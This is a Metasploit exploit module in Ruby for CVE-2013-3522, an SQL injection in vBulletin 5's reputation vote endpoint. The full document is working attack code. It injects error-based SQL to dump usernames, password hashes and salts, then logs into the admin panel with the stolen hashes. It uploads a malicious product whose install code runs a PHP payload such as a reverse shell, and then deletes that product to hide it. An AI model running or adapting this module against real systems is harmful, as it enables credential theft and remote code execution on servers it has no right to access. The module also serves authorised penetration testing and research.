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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection', 'Description'=> %q{ This module exploits a SQL injection vulnerability found in vBulletin 5 that has been used in the wild since March 2013. This module uses the sqli to extract the web application's usernames and hashes. With the retrieved information tries to log into the admin control panel in order to deploy the PHP payload. This module has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu Linux distribution. }, 'Author' => [ 'Orestis Kourides', # Vulnerability discovery and PoC 'juan vazquez' # Metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2013-3522' ], [ 'OSVDB', '92031' ], [ 'EDB', '24882' ], [ 'BID', '58754' ], [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ] ], 'Privileged' => false, # web server context 'Payload'=> { 'DisableNops' => true, 'Space' => 10000 # Just value big enough to fit any php payload }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets'=> [[ 'vBulletin 5.0.0 Beta 11-28', { }]], 'DisclosureDate' => 'Mar 25 2013', 'DefaultTarget'=> 0)) register_options( [ OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']), OptInt.new("NODE", [false, 'Valid Node ID']), OptInt.new("MINNODE", [true, 'Valid Node ID', 1]), OptInt.new("MAXNODE", [true, 'Valid Node ID', 100]) ], self.class) end def exists_node?(id) mark = rand_text_alpha(8 + rand(5)) result = do_sqli(id, "select '#{mark}'") if result and result =~ /#{mark}/ return true end return false end def brute_force_node min = datastore["MINNODE"] max = datastore["MAXNODE"] if min > max print_error("#{peer} - MINNODE can't be major than MAXNODE") return nil end for node_id in min..max if exists_node?(node_id) return node_id end end return nil end def get_node if datastore['NODE'].nil? or datastore['NODE'] <= 0 print_status("#{peer} - Brute forcing to find a valid node id...") return brute_force_node end print_status("#{peer} - Checking node id #{datastore['NODE']}...") if exists_node?(datastore['NODE']) return datastore['NODE'] else return nil end end def do_sqli(node, query) mark = Rex::Text.rand_text_alpha(5 + rand(3)) random_and = Rex::Text.rand_text_numeric(4) injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) " injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) " injection << "AND (#{random_and}=#{random_and}" res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"), 'vars_post' => { 'nodeid'=> "#{node}#{injection}", } }) unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/ return nil end data = "" if res.body.to_s =~ /#{mark}(.*)#{mark}/ data = $1 end return data end def get_user_data(node_id, user_id) user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}") pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}") salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}") return [user, pass, salt] end def do_login(user, hash) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "login.php"), 'method'=> 'POST', 'encode_params' => false, 'vars_get'=> { 'do' => 'login' }, 'vars_post' => { 'url'=> '%2Fadmincp%2F', 'securitytoken'=> 'guest', 'logintype'=> 'cplogin', 'do' => 'login', 'vb_login_md5password' => hash, 'vb_login_md5password_utf' => hash, 'vb_login_username'=> user, 'vb_login_password'=> '', 'cssprefs' => '' } }) if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie'] session = res.get_cookies else return nil end res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, "admincp", "/"), 'cookie' => session }) if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/ return session else return nil end end def get_token(response) token_info = { :session_hash => "", :security_token => "", :admin_hash => "" } if response =~ /var SESSIONHASH = "([0-9a-f]+)";/ token_info[:session_hash] = $1 end if response =~ /var ADMINHASH = "([0-9a-f]+)";/ token_info[:admin_hash] = $1 end if response =~ /var SECURITYTOKEN = "([0-9a-f\-]+)";/ token_info[:security_token] = $1 end return token_info end def get_install_token res = send_request_cgi({ "uri"=> normalize_uri(target_uri.path, "admincp", "product.php"), "vars_get" => { "do" => "productadd" }, "cookie" => @session }) unless res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/ return nil end return get_token(res.body.to_s) end def install_product(token_info) xml_product = <<-EOF <?xml version="1.0" encoding="ISO-8859-1"?> <product productid="#{@product_id}" active="0"> <title>#{@product_id}</title> <description>#{@product_id}</description> <version>1.0</version> <url>http://#{@product_id}.loc</url> <versioncheckurl>http://#{@product_id}.loc/version.xml</versioncheckurl> <dependencies> <dependency dependencytype="vbulletin" minversion="" maxversion="" /> </dependencies> <codes> <code version="*"> <installcode> <![CDATA[ #{payload.encoded} ]]> </installcode> <uninstallcode /> </code> </codes> <templates> </templates> <stylevardfns> </stylevardfns> <stylevars> </stylevars> <hooks> </hooks> <phrases> </phrases> <options> </options> <helptopics> </helptopics> <cronentries> </cronentries> <faqentries> </faqentries> <widgets> </widgets> </product> EOF post_data = Rex::MIME::Message.new post_data.add_part(token_info[:session_hash], nil, nil, "form-data; name=\"s\"") post_data.add_part("productimport", nil, nil, "form-data; name=\"do\"") post_data.add_part(token_info[:admin_hash], nil, nil, "form-data; name=\"adminhash\"") post_data.add_part(token_info[:security_token], nil, nil, "form-data; name=\"securitytoken\"") post_data.add_part(xml_product, "text/xml", nil, "form-data; name=\"productfile\"; filename=\"product_juan2.xml\"") post_data.add_part("", nil, nil, "form-data; name=\"serverfile\"") post_data.add_part("1", nil, nil, "form-data; name=\"allowoverwrite\"") post_data.add_part("999999999", nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") # Work around an incompatible MIME implementation data = post_data.to_s data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, "admincp", "product.php"), 'method' => "POST", 'ctype'=> "multipart/form-data; boundary=#{post_data.bound}", 'cookie' => @session, 'vars_get' => { "do" => "productimport" }, 'data' => data }) if res and res.code == 200 and res.body and res.body.to_s =~ /Product #{@product_id} Imported/ return true elsif res fail_with(Failure::Unknown, "#{peer} - Error when trying to install the product.") else return false end end def get_delete_token res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, "admincp", "product.php"), 'cookie' => @session, 'vars_get' => { "do" => "productdelete", "productid" => @product_id, "s" => @session_hash } }) if res and res.code == 200 and res.body.to_s =~ /SECURITYTOKEN/ return get_token(res.body.to_s) end return nil end def delete_product(token_info) res = send_request_cgi({ 'uri'=> normalize_uri(target_uri.path, "admincp", "product.php"), 'method' => "POST", 'cookie' => @session, 'vars_get' => { "do" => "productkill" }, 'vars_post' => { "s" => token_info[:session_hash], "do"=> "productkill", "adminhash" => token_info[:admin_hash], "securitytoken" => token_info[:security_token], "productid" => @product_id } }) if res and res.code == 200 and res.body.to_s =~ /Product #{@product_id} Uninstalled/ return true end return false end def check node_id = get_node unless node_id.nil? return Msf::Exploit::CheckCode::Vulnerable end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "index.php") }) if res and res.code == 200 and res.body.to_s =~ /"simpleversion": "v=5/ return Msf::Exploit::CheckCode::Detected end return Msf::Exploit::CheckCode::Unknown end def on_new_session(session) print_status("#{peer} - Getting the uninstall token info...") delete_token = get_delete_token if delete_token.nil? print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...") return end print_status("#{peer} - Deleting the product #{@product_id}...") if delete_product(delete_token) print_good("#{peer} - Product #{@product_id} deleted") else print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...") end end def exploit print_status("#{peer} - Checking for a valid node id...") node_id = get_node if node_id.nil? print_error("#{peer} - node id not found") return end print_good("#{peer} - Using node id #{node_id} to exploit sqli... Counting users...") data = do_sqli(node_id, "select count(*) from user") if data.empty? print_error("#{peer} - Error exploiting sqli") return end count_users = data.to_i users = [] print_good("#{peer} - #{count_users} users found") for i in 0..count_users - 1 user = get_user_data(node_id, i) report_auth_info({ :host => rhost, :port => rport, :user => user[0], :pass => user[1], :type => "hash", :sname => (ssl ? "https" : "http"), :proof => "salt: #{user[2]}" # Using proof to store the hash salt }) users << user end @session = nil users.each do |user| print_status("#{peer} - Trying to log into vBulletin admin control panel as #{user[0]}...") @session = do_login(user[0], user[1]) unless @session.blank? print_good("#{peer} - Logged in successfully as #{user[0]}") break end end if @session.blank? fail_with(Failure::NoAccess, "#{peer} - Failed to log into the vBulletin admin control panel") end print_status("#{peer} - Getting the install product security token...") install_token = get_install_token if install_token.nil? fail_with(Failure::Unknown, "#{peer} - Failed to get the install token") end @session_hash = install_token[:session_hash] @product_id = rand_text_alpha_lower(5 + rand(8)) print_status("#{peer} - Installing the malicious product #{@product_id}...") if install_product(install_token) print_good("#{peer} - Product successfully installed... payload should be executed...") else # Two situations trigger this path: # 1) Upload failed but there wasn't answer from the server. I don't think it's going to happen often. # 2) New session, for exemple when using php/meterpreter/reverse_tcp, the common situation. # Because of that fail_with isn't used here. return end print_status("#{peer} - Getting the uninstall token info...") delete_token = get_delete_token if delete_token.nil? print_error("#{peer} - Failed to get the uninstall token, the product #{@product_id} should be uninstalled manually...") return end print_status("#{peer} - Deleting the product #{@product_id}...") if delete_product(delete_token) print_good("#{peer} - Product #{@product_id} deleted") else print_error("#{peer} - Failed uninstall the product #{@product_id}, should be done manually...") end end end |
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